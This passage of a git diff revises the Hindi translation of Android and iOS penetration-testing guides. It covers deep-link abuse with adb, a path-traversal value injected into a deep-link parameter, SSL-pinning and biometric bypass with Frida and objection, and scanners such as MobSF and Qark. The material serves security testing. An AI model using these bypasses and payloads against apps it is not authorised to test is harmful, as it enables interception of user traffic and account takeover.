करें...\ [**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services) ### **ब्रॉडकास्ट रिसीवर्स का शोषण** @@ -363,7 +369,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए।_ +_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._ ```html Click me @@ -372,7 +378,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ ``` **कोड निष्पादित किया गया** -**ऐप में निष्पादित होने वाले कोड को खोजने के लिए**, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा कॉल किया गया है और फ़ंक्शन **`onNewIntent`** को खोजें। +**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा बुलाया गया है और फ़ंक्शन **`onNewIntent`** को खोजें। ![](<../../images/image (436) (1) (1) (1).png>) @@ -383,7 +389,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ **पैरामीटर पथ में** आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है। +ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **Open Redirect** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है। **अधिक उदाहरण** @@ -391,7 +397,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ ### ट्रांसपोर्ट लेयर निरीक्षण और सत्यापन विफलताएँ -- **Android एप्लिकेशन द्वारा प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती है।** इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है। +- **Android एप्लिकेशन द्वारा प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती है**। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है। - **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरी कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं। - **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है। @@ -401,13 +407,13 @@ _ध्यान दें कि आप **पैकेज नाम को छ #### SSL पिनिंग -SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है। +SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर ही संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है। #### ट्रैफ़िक निरीक्षण HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)। -**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें। +**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) का संदर्भ लें। यदि **Flutter** का उपयोग किया जा रहा है, तो आपको [**इस पृष्ठ**](flutter.md) में दिए गए निर्देशों का पालन करना होगा। इसका कारण यह है कि, केवल स्टोर में प्रमाणपत्र जोड़ने से काम नहीं चलेगा क्योंकि Flutter की अपनी मान्य CAs की सूची है। @@ -416,7 +422,7 @@ HTTP ट्रैफ़िक का निरीक्षण करने क जब SSL पिनिंग लागू होती है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए विभिन्न विधियाँ उपलब्ध हैं: - स्वचालित रूप से **apk को संशोधित करें** ताकि **SSL पिनिंग को बायपास** किया जा सके [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा। -- आप **Frida** (नीचे चर्चा की गई) का उपयोग करके इस सुरक्षा को बायपास कर सकते हैं। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- आप **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई) इस सुरक्षा को बायपास करने के लिए। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - आप **objection** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया) - यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) @@ -435,7 +441,7 @@ HTTP ट्रैफ़िक का निरीक्षण करने क - Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- एंटी-डिबगिंग / एंटी-फ्रिडा तंत्रों को बायपास करने का प्रयास करें, Frida को [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में बताए अनुसार लोड करके (उपकरण [linjector](https://github.com/erfur/linjector-rs)) +- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को लोड करके जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित किया गया है (उपकरण [linjector](https://github.com/erfur/linjector-rs)) ### **मेमोरी डंप - Fridump** @@ -472,13 +478,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ) -**Vulnerability assessment of the application** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)। +**ऐप्लिकेशन का कमजोरियों का आकलन** एक अच्छे वेब-आधारित फ्रंटेंड का उपयोग करके। आप गतिशील विश्लेषण भी कर सकते हैं (लेकिन आपको वातावरण तैयार करने की आवश्यकता है)। ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\ -इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर पर जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा। +इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर में जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा। -MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपना API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। +MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपनी API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा। ### MobSF के साथ सहायक गतिशील विश्लेषण @@ -545,8 +551,8 @@ Android **संस्करण > 5** से, यह **स्वचालित डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **रूट डिटेक्शन** और **डीबगर डिटेक्शन** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट का भी उपयोग करेगा।\ MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है। -गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। "**Frida Live Logs**" पर दबाएं ताकि आप Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देख सकें और "**Live API Monitor**" पर दबाएं ताकि आप सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देख सकें (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ -MobSF आपको अपने स्वयं के **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणामों को MobSF में भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। +गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\ +MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)। ![](<../../images/image (419).png>) @@ -574,10 +580,10 @@ receivers ``` **HTTP tools** -जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\ +जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\ इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))। -एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर दबा सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके। +एक बार जब आप MobSF के साथ डायनामिक विश्लेषण समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके। > [!TIP] > MobSF के साथ डायनामिक विश्लेषण करने के बाद, प्रॉक्सी सेटिंग्स गलत हो सकती हैं और आप उन्हें GUI से ठीक नहीं कर पाएंगे। आप निम्नलिखित करके प्रॉक्सी सेटिंग्स को ठीक कर सकते हैं: @@ -588,7 +594,7 @@ receivers ### Assisted Dynamic Analysis with Inspeckage -आप [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से टूल प्राप्त कर सकते हैं।\ +आप इस टूल को [**Inspeckage**](https://github.com/ac-pm/Inspeckage) से प्राप्त कर सकते हैं।\ यह टूल कुछ **Hooks** का उपयोग करेगा ताकि आपको पता चल सके **क्या हो रहा है एप्लिकेशन में** जब आप **dynamic analysis** करते हैं। ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -599,7 +605,7 @@ receivers ### [Qark](https://github.com/linkedin/qark) -यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम** है। Drozer के साथ, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है। +यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण करने के लिए "Proof-of-Concept" डिप्लॉय करने योग्य APK और **ADB commands** बनाने में भी **सक्षम** है। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है। ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -621,7 +627,7 @@ reverse-apk relative/path/to/APP.apk SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है। -सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकते हैं। +सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है। नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें। ``` @@ -633,7 +639,7 @@ super-analyzer {apk_file} StaCoAn एक **क्रॉसप्लेटफ़ॉर्म** उपकरण है जो डेवलपर्स, बग बाउंटी शिकारियों और नैतिक हैकरों को मोबाइल अनुप्रयोगों पर [स्टैटिक कोड विश्लेषण](https://en.wikipedia.org/wiki/Static_program_analysis) करने में मदद करता है। -इसका सिद्धांत यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को अनुकूलित अनुभव प्राप्त करने के लिए समायोजित कर सकते हैं। +विचार यह है कि आप अपने मोबाइल अनुप्रयोग फ़ाइल (एक .apk या .ipa फ़ाइल) को StaCoAn अनुप्रयोग पर खींचते और छोड़ते हैं और यह आपके लिए एक दृश्य और पोर्टेबल रिपोर्ट उत्पन्न करेगा। आप सेटिंग्स और वर्डलिस्ट को समायोजित कर सकते हैं ताकि एक अनुकूलित अनुभव प्राप्त कर सकें। डाउनलोड[ नवीनतम रिलीज़](https://github.com/vincentcox/StaCoAn/releases): ``` @@ -651,9 +657,9 @@ androbugs.exe -f [APK file] **Androwarn** एक उपकरण है जिसका मुख्य उद्देश्य Android एप्लिकेशन द्वारा विकसित संभावित दुर्भावनापूर्ण व्यवहारों का पता लगाना और उपयोगकर्ता को चेतावनी देना है। -पता लगाना **स्टेटिक एनालिसिस** के साथ एप्लिकेशन के Dalvik बाइटकोड का किया जाता है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ। +पता लगाना **स्टेटिक एनालिसिस** के साथ किया जाता है जो एप्लिकेशन के Dalvik बाइटकोड का विश्लेषण करता है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ। -यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ता का एक्सफिल्ट्रेशन, ऑडियो/वीडियो प्रवाह का इंटरसेप्शन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन... +यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का एक्सफिल्ट्रेशन, ऑडियो/वीडियो प्रवाह का इंटरसेप्शन, PIM डेटा में संशोधन, मनमाना कोड निष्पादन... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -678,7 +684,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ## कोड को ओबफस्केट/डिओबफस्केट करना -ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं भी हो सकते हैं। +ध्यान दें कि जिस सेवा और कॉन्फ़िगरेशन का आप उपयोग करते हैं, उसके आधार पर कोड को ओबफस्केट करने के लिए। रहस्य ओबफस्केटेड हो सकते हैं या नहीं भी। ### [ProGuard]() @@ -710,7 +716,7 @@ APK को डिओबफस्केट करने के लिए चर ### [Simplify](https://github.com/CalebFenton/simplify) -यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि किस विशेष प्रकार की ओबफस्केशन का उपयोग किया गया है। +यह एक **सामान्य Android डिओबफस्केटर है।** Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है। ### [APKiD](https://github.com/rednaga/APKiD) diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index 85894000e..c2b4b7cc4 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -47,7 +47,7 @@ IPA फ़ाइल पर स्वचालित स्थैतिक वि otool -hv | grep PIE # इसमें PIE फ्लैग शामिल होना चाहिए ``` -- **Stack Canaries**: स्टैक की अखंडता को मान्य करने के लिए, एक 'कनारी' मान को एक फ़ंक्शन को कॉल करने से पहले स्टैक पर रखा जाता है और फ़ंक्शन समाप्त होने पर फिर से मान्य किया जाता है। +- **Stack Canaries**: स्टैक की अखंडता को मान्य करने के लिए, एक 'कैनरी' मान को एक फ़ंक्शन को कॉल करने से पहले स्टैक पर रखा जाता है और फ़ंक्शन समाप्त होने पर फिर से मान्य किया जाता है। ```bash otool -I -v | grep stack_chk # इसमें प्रतीक शामिल होना चाहिए: stack_chk_guard और stack_chk_fail @@ -135,7 +135,7 @@ grep -iER "_vsprintf" ### Basic Dynamic Analysis -देखें कि [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) द्वारा किया गया गतिशील विश्लेषण। आपको विभिन्न दृश्य के माध्यम से नेविगेट करना होगा और उनके साथ इंटरैक्ट करना होगा, लेकिन यह अन्य चीजें करते समय कई कक्षाओं को हुक करेगा और जब आप समाप्त कर लेंगे तो एक रिपोर्ट तैयार करेगा। +देखें कि [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) क्या गतिशील विश्लेषण करता है। आपको विभिन्न दृश्य के माध्यम से नेविगेट करना होगा और उनके साथ इंटरैक्ट करना होगा, लेकिन यह अन्य चीजें करते समय कई कक्षाओं को हुक करेगा और जब आप समाप्त कर लेंगे तो एक रिपोर्ट तैयार करेगा। ### Listing Installed Apps @@ -162,23 +162,23 @@ ios-hooking-with-objection.md ### IPA Structure -एक **IPA फ़ाइल** की संरचना मूल रूप से एक **ज़िप पैकेज** की होती है। इसके एक्सटेंशन को `.zip` में बदलकर, इसे **डिकंप्रेस** किया जा सकता है ताकि इसके सामग्री को प्रकट किया जा सके। इस संरचना के भीतर, एक **Bundle** एक पूरी तरह से पैक किया गया ऐप्लिकेशन है जो इंस्टॉलेशन के लिए तैयार है। इसके अंदर, आपको `.app` नामक एक निर्देशिका मिलेगी, जो ऐप्लिकेशन के संसाधनों को संलग्न करती है। +एक **IPA फ़ाइल** की संरचना मूल रूप से एक **ज़िप पैकेज** की होती है। इसके एक्सटेंशन को `.zip` में बदलकर, इसे **डिकंप्रेस** किया जा सकता है ताकि इसके सामग्री को प्रकट किया जा सके। इस संरचना के भीतर, एक **Bundle** एक पूरी तरह से पैक की गई ऐप्लिकेशन का प्रतिनिधित्व करता है जो इंस्टॉलेशन के लिए तैयार है। इसके अंदर, आपको `.app` नामक एक निर्देशिका मिलेगी, जो ऐप्लिकेशन के संसाधनों को संलग्न करती है। - **`Info.plist`**: यह फ़ाइल ऐप्लिकेशन के विशिष्ट कॉन्फ़िगरेशन विवरण रखती है। - **`_CodeSignature/`**: यह निर्देशिका एक plist फ़ाइल शामिल करती है जिसमें एक हस्ताक्षर होता है, जो बंडल में सभी फ़ाइलों की अखंडता सुनिश्चित करता है। - **`Assets.car`**: एक संकुचित संग्रह जो आइकनों जैसी संपत्ति फ़ाइलों को संग्रहीत करता है। -- **`Frameworks/`**: यह फ़ोल्डर ऐप्लिकेशन की मूल लाइब्रेरीज़ को रखता है, जो `.dylib` या `.framework` फ़ाइलों के रूप में हो सकती हैं। -- **`PlugIns/`**: इसमें ऐप्लिकेशन के लिए एक्सटेंशन शामिल हो सकते हैं, जिन्हें `.appex` फ़ाइलें कहा जाता है, हालांकि ये हमेशा मौजूद नहीं होते हैं। \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): इसका उपयोग आपके ऐप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए, अस्थायी डेटा को कैश करने के लिए, और एक ही डिवाइस पर आपके ऐप में पूर्ववत कार्यक्षमता जोड़ने के लिए किया जाता है। एक ही iCloud खाते में कई डिवाइसों के बीच डेटा को समन्वयित करने के लिए, Core Data स्वचालित रूप से आपके स्कीमा को एक CloudKit कंटेनर में मिरर करता है। +- **`Frameworks/`**: यह फ़ोल्डर ऐप्लिकेशन की मूलभूत पुस्तकालयों को रखता है, जो `.dylib` या `.framework` फ़ाइलों के रूप में हो सकते हैं। +- **`PlugIns/`**: इसमें ऐप्लिकेशन के लिए एक्सटेंशन शामिल हो सकते हैं, जिन्हें `.appex` फ़ाइलों के रूप में जाना जाता है, हालांकि ये हमेशा मौजूद नहीं होते हैं। \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): इसका उपयोग आपके ऐप्लिकेशन के स्थायी डेटा को ऑफ़लाइन उपयोग के लिए, अस्थायी डेटा को कैश करने के लिए, और एक ही डिवाइस पर आपके ऐप में पूर्ववत कार्यक्षमता जोड़ने के लिए किया जाता है। एक ही iCloud खाते में कई डिवाइसों के बीच डेटा को समन्वयित करने के लिए, Core Data स्वचालित रूप से आपके स्कीमा को एक CloudKit कंटेनर में मिरर करता है। - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` फ़ाइल आपके ऐप्लिकेशन या बंडल के प्रकार और निर्माता कोड निर्दिष्ट करने का एक वैकल्पिक तरीका है। -- **en.lproj, fr.proj, Base.lproj**: 